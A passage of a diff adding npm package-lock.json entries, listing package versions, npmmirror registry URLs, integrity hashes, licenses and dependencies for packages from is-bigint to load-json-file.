"sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "async-function": "^1.0.0", + "call-bound": "^1.0.3", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-bigint": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/is-bigint/-/is-bigint-1.1.0.tgz", + "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-bigints": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-boolean-object": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/is-boolean-object/-/is-boolean-object-1.2.2.tgz", + "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmmirror.com/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-ci": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/is-ci/-/is-ci-3.0.1.tgz", + "integrity": "sha512-ZYvCgrefwqoQ6yTyYUbQu64HsITZ3NfKX1lzaEYdkTDcfKzzCI/wthRRYKkdjHKFVgNiXKAKm65Zo1pk2as/QQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ci-info": "^3.2.0" + }, + "bin": { + "is-ci": "bin.js" + } + }, + "node_modules/is-core-module": { + "version": "2.16.1", + "resolved": "https://registry.npmmirror.com/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-data-view": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/is-data-view/-/is-data-view-1.0.2.tgz", + "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "is-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/is-date-object/-/is-date-object-1.1.0.tgz", + "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-finalizationregistry": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz", + "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-function": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/is-generator-function/-/is-generator-function-1.1.0.tgz", + "integrity": "sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "get-proto": "^1.0.0", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-installed-globally": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/is-installed-globally/-/is-installed-globally-0.4.0.tgz", + "integrity": "sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "global-dirs": "^3.0.0", + "is-path-inside": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-map": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/is-map/-/is-map-2.0.3.tgz", + "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/is-number-object/-/is-number-object-1.1.1.tgz", + "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-regex": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/is-regex/-/is-regex-1.2.1.tgz", + "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-set": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/is-set/-/is-set-2.0.3.tgz", + "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz", + "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-string": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/is-string/-/is-string-1.1.1.tgz", + "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/is-symbol/-/is-symbol-1.1.1.tgz", + "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "has-symbols": "^1.1.0", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.15", + "resolved": "https://registry.npmmirror.com/is-typed-array/-/is-typed-array-1.1.15.tgz", + "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmmirror.com/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-weakmap": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/is-weakmap/-/is-weakmap-2.0.2.tgz", + "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakref": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/is-weakref/-/is-weakref-1.1.1.tgz", + "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakset": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/is-weakset/-/is-weakset-2.0.4.tgz", + "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true, + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==", + "dev": true, + "license": "MIT" + }, + "node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmmirror.com/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/joi": { + "version": "17.13.3", + "resolved": "https://registry.npmmirror.com/joi/-/joi-17.13.3.tgz", + "integrity": "sha512-otDA4ldcIx+ZXsKHWmp0YizCweVRZG96J10b0FevjfuncLO1oX59THoAmHkNubYJ+9gWsYsp5k8v4ib6oDv1fA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@hapi/hoek": "^9.3.0", + "@hapi/topo": "^5.1.0", + "@sideway/address": "^4.1.5", + "@sideway/formula": "^3.0.1", + "@sideway/pinpoint": "^2.0.0" + } + }, + "node_modules/js-beautify": { + "version": "1.15.4", + "resolved": "https://registry.npmmirror.com/js-beautify/-/js-beautify-1.15.4.tgz", + "integrity": "sha512-9/KXeZUKKJwqCXUdBxFJ3vPh467OCckSBmYDwSK/EtV090K+iMJ7zx2S3HLVDIWFQdqMIsZWbnaGiba18aWhaA==", + "dev": true, + "license": "MIT", + "dependencies": { + "config-chain": "^1.1.13", + "editorconfig": "^1.0.4", + "glob": "^10.4.2", + "js-cookie": "^3.0.5", + "nopt": "^7.2.1" + }, + "bin": { + "css-beautify": "js/bin/css-beautify.js", + "html-beautify": "js/bin/html-beautify.js", + "js-beautify": "js/bin/js-beautify.js" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/js-cookie": { + "version": "3.0.5", + "resolved": "https://registry.npmmirror.com/js-cookie/-/js-cookie-3.0.5.tgz", + "integrity": "sha512-cEiJEAEoIbWfCZYKWhVwFuvPX1gETRYPw6LlaTKoxD3s2AkXzkCjnp6h0V77ozyqj0jakteJ4YqDJT830+lVGw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + } + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmmirror.com/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==", + "dev": true, + "license": "MIT" + }, + "node_modules/jsdom": { + "version": "20.0.3", + "resolved": "https://registry.npmmirror.com/jsdom/-/jsdom-20.0.3.tgz", + "integrity": "sha512-SYhBvTh89tTfCD/CRdSOm13mOBa42iTaTyfyEWBdKcGdPxPtLFBXuHR8XHb33YNYaP+lLbmSvBTsnoesCNJEsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "abab": "^2.0.6", + "acorn": "^8.8.1", + "acorn-globals": "^7.0.0", + "cssom": "^0.5.0", + "cssstyle": "^2.3.0", + "data-urls": "^3.0.2", + "decimal.js": "^10.4.2", + "domexception": "^4.0.0", + "escodegen": "^2.0.0", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^3.0.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.1", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.2", + "parse5": "^7.1.1", + "saxes": "^6.0.0", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.1.2", + "w3c-xmlserializer": "^4.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^2.0.0", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^11.0.0", + "ws": "^8.11.0", + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=14" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==", + "dev": true, + "license": "(AFL-2.1 OR BSD-3-Clause)" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==", + "dev": true, + "license": "ISC" + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsprim": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/jsprim/-/jsprim-2.0.2.tgz", + "integrity": "sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "license": "MIT", + "dependencies": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.4.0", + "verror": "1.10.0" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmmirror.com/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/lazy-ass": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/lazy-ass/-/lazy-ass-1.6.0.tgz", + "integrity": "sha512-cc8oEVoctTvsFZ/Oje/kGnHbpWHYBe8IAJe4C0QNc3t8uM/0Y8+erSz/7Y1ALuXTEZTMvxXwO6YbX1ey3ujiZw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "> 0.8" + } + }, + "node_modules/lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "readable-stream": "^2.0.5" + }, + "engines": { + "node": ">= 0.6.3" + } + }, + "node_modules/lazystream/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/lazystream/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/lazystream/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true, + "license": "MIT" + }, + "node_modules/lazystream/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/listr2": { + "version": "3.14.0", + "resolved": "https://registry.npmmirror.com/listr2/-/listr2-3.14.0.tgz", + "integrity": "sha512-TyWI8G99GX9GjE54cJ+RrNMcIFBfwMPxc3XTFiAYGN4s10hWROGtOg7+O6u6LE3mNkyld7RSLE6nrKBvTfcs3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "cli-truncate": "^2.1.0", + "colorette": "^2.0.16", + "log-update": "^4.0.0", + "p-map": "^4.0.0", + "rfdc": "^1.3.0", + "rxjs": "^7.5.1", + "through": "^2.3.8", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "enquirer": ">= 2.3.0 < 3" + }, + "peerDependenciesMeta": { + "enquirer": { + "optional": true + } + } + }, + "node_modules/listr2/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/load-json-file": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/load-json-file/-/load-json-file-4.0.0.tgz", + "integrity": "sha512-Kx8hMakjX03tiGTLAIdJ+lL0htKnXjEZN6hk/tozf/WOuYGdZBJrZ+rCJRbVCugsjB3jMLn9746NsQIf5VjBMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.1.2", + "parse-json": "^4.0.0", + "pify": "^3.0.0", + "strip-bom": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/load-json-file/node_modules/pify": { + 